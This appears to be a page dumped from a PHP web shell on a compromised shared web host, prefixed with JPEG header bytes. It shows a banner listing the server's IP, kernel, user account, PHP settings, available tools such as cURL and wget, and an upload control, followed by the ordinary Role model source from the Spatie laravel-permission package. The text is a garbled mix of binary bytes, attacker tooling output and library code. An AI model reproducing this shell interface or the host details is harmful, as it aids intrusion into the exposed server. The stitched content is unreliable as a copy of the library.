����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.21.186.117 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.gltechlimited.com/vendor/spatie/laravel-permission/src/Models/ |
Upload File : |
<?php namespace Spatie\Permission\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Spatie\Permission\Contracts\Role as RoleContract; use Spatie\Permission\Exceptions\GuardDoesNotMatch; use Spatie\Permission\Exceptions\RoleAlreadyExists; use Spatie\Permission\Exceptions\RoleDoesNotExist; use Spatie\Permission\Guard; use Spatie\Permission\Traits\HasPermissions; use Spatie\Permission\Traits\RefreshesPermissionCache; class Role extends Model implements RoleContract { use HasPermissions; use RefreshesPermissionCache; protected $guarded = ['id']; public function __construct(array $attributes = []) { $attributes['guard_name'] = $attributes['guard_name'] ?? config('auth.defaults.guard'); parent::__construct($attributes); } public function getTable() { return config('permission.table_names.roles', parent::getTable()); } public static function create(array $attributes = []) { $attributes['guard_name'] = $attributes['guard_name'] ?? Guard::getDefaultName(static::class); if (static::where('name', $attributes['name'])->where('guard_name', $attributes['guard_name'])->first()) { throw RoleAlreadyExists::create($attributes['name'], $attributes['guard_name']); } return static::query()->create($attributes); } /** * A role may be given various permissions. */ public function permissions(): BelongsToMany { return $this->belongsToMany( config('permission.models.permission'), config('permission.table_names.role_has_permissions'), 'role_id', 'permission_id' ); } /** * A role belongs to some users of the model associated with its guard. */ public function users(): BelongsToMany { return $this->morphedByMany( getModelForGuard($this->attributes['guard_name']), 'model', config('permission.table_names.model_has_roles'), 'role_id', config('permission.column_names.model_morph_key') ); } /** * Find a role by its name and guard name. * * @param string $name * @param string|null $guardName * * @return \Spatie\Permission\Contracts\Role|\Spatie\Permission\Models\Role * * @throws \Spatie\Permission\Exceptions\RoleDoesNotExist */ public static function findByName(string $name, $guardName = null): RoleContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $role = static::where('name', $name)->where('guard_name', $guardName)->first(); if (! $role) { throw RoleDoesNotExist::named($name); } return $role; } public static function findById(int $id, $guardName = null): RoleContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $role = static::where('id', $id)->where('guard_name', $guardName)->first(); if (! $role) { throw RoleDoesNotExist::withId($id); } return $role; } /** * Find or create role by its name (and optionally guardName). * * @param string $name * @param string|null $guardName * * @return \Spatie\Permission\Contracts\Role */ public static function findOrCreate(string $name, $guardName = null): RoleContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $role = static::where('name', $name)->where('guard_name', $guardName)->first(); if (! $role) { return static::query()->create(['name' => $name, 'guard_name' => $guardName]); } return $role; } /** * Determine if the user may perform the given permission. * * @param string|Permission $permission * * @return bool * * @throws \Spatie\Permission\Exceptions\GuardDoesNotMatch */ public function hasPermissionTo($permission): bool { if (config('permission.enable_wildcard_permission', false)) { return $this->hasWildcardPermission($permission, $this->getDefaultGuardName()); } $permissionClass = $this->getPermissionClass(); if (is_string($permission)) { $permission = $permissionClass->findByName($permission, $this->getDefaultGuardName()); } if (is_int($permission)) { $permission = $permissionClass->findById($permission, $this->getDefaultGuardName()); } if (! $this->getGuardNames()->contains($permission->guard_name)) { throw GuardDoesNotMatch::create($permission->guard_name, $this->getGuardNames()); } return $this->permissions->contains('id', $permission->id); } }